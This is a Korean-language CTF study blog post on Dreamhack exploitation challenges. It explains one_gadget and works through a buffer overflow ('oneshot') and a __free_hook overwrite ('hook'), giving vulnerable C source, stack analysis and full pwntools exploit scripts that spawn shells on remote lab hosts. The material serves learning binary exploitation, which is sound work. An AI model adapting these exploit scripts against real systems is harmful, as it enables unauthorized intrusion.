+one gadget
one-gadget / magic-gadget 란?
실행시 셸이 획득되는 코드 뭉치 ( david942j가 만들어놓은 툴)
기존 ) 셸 획득을 위해 여러 개의 gadget을 조합한 ROP chain을 구성 / RTL 공격
원가젯 ) 단일 가젯만으로도 셸을 실행할 수 있는 강력한 도구
(https://github.com/david942j/one_gadget)
원 가젯은 libc의 버전마다 다르게 존재하며, 제약 조건도 다르므로 필요에 따라 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 사전에 조작해주어야 한다.
: 함수에 인자를 전달하기 어려울 떄 유용하다
#!/usr/bin/env python3
# Name: fho_og.py
from pwn import *
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
free_hook = libc_base + libc.symbols['__free_hook']
# 다른 부분
og = libc_base+0x4f432
slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one-gadget', og)
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(og).encode())
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(0x31337).encode())
p.interactive()
Oneshot
- amd64 (64비트)
- Partial RELRO, canary x, NX 적용, PIE 적용
주요 소스코드 분석
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
- msg의 크기는 16, read()에서 46바이트만큼을 받고있기에 BOF 취약점 존재!
- read함수 호출 후, check==0 이면 msg를 print (공격 위치 :read)
- memset으로 0으로 초기화
시나리오
one-gadget을 이용하여 셸을 한번에 실행
-> 조건에 맞춰서 사용
$readelf -s libc.so.6 | grep "stdout"
: stdout의 offset 확인 - 0x3c5620
stdout의 주소 - offset = libc_base의 주소
-> one_gadget offset과 더해 one_gadget을 구할 수 있다.
--stack 구조 ------------------------------high
ret
ret - 0x08 = sfp
rbp - 0x08 = ret - 0x10 = check
rbp - 0x20 = ret - 0x28 = msg
---------------------------------------------low
=> payload = b'\x00'*24 + b'\x00*8 + [oneshot gadget 주소]
(check가 0으로 유지되어야 종료가 안되므로 그냥 냅다 dummy를 0으로 설정하여 그 사이에 존재할 check를 0으로 )
Exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",13691)
p.recvuntil("stdout: ")
stdout = p.recvuntil(b"\n").strip(b"\n")
stdout = int(stdout, 16)
log.info("stdout : " + hex(stdout))
libc_base = stdout - 0x3c5620
oneshot_gadget = libc_base + 0x45216
log.info("libc_base : "+hex(libc_base))
log.info("oneshot_gadget : "+hex(oneshot_gadget))
p.recvuntil("MSG: ")
payload = b"\x00"*24 + b"\x00"*16 + p64(oneshot_gadget)
p.send(payload)
p.interactive()
(Reference)
https://keyme2003.tistory.com/entry/dreamhack-oneshot
Hook
- amd64 (64bit)
- Full RELRO, canary & NX 적용
- no pie
소스코드 분석 및 시나리오
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
- buf size 입력시 해당 사이즈를 malloc으로 동적할당 - 그 사이즈에 해당하는 크기만큼 입력get
- free함수가 두번 -> segment fault (동적할당을 두번이나 해제)
=> __free_hook의 값을 덮어서 system("/bin/sh")함수로 overwrite
*(long *)*ptr = *(ptr+1)
: malloc으로 동적할당된 공간의 주소의 값을 ptr에 저장
: read함수를 통해 ptr에 접근 가능 - 이때, ptr의 값을 __free_hook의 함수의 주소값을 입력시
(long) ptr는 free_hook 을 point
*(ptr+1) => ptr에서 8바이트만큼 떨어진 곳을 system("/bin/sh")로 변경
=> __free_hook의 값은 main함수의 system("/bin/sh")를 가리키게되어 셸 획득 할 수 있다.
Exploit
from pwn import *
r = remote("host3.dreamhack.games", 17217)
libc = ELF("./libc-2.23.so")
main_system = 0x400a11
def slog(name, addr): return success(": ".join([name, hex(addr)]))
r.recvuntil("stdout: ")
stdout_addr = int(r.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols['__free_hook']
slog('libc_base', libc_base)
slog('__free_hook', free_hook)
payload = p64(free_hook) + p64(main_system)
r.sendlineafter("Size: ", "400")
r.sendlineafter("Data: ", payload)
r.interactive()
(Reference)
https://velog.io/@azurp158/Dreamhack-Hook
'System Hacking' 카테고리의 다른 글
Format String Bug | dreamhack (1) | 2024.03.17 |
---|---|
Out of bounds | dreamhack (0) | 2024.03.17 |
PIE & RELRO(1) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(2) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(1) | dreamhack (0) | 2024.03.15 |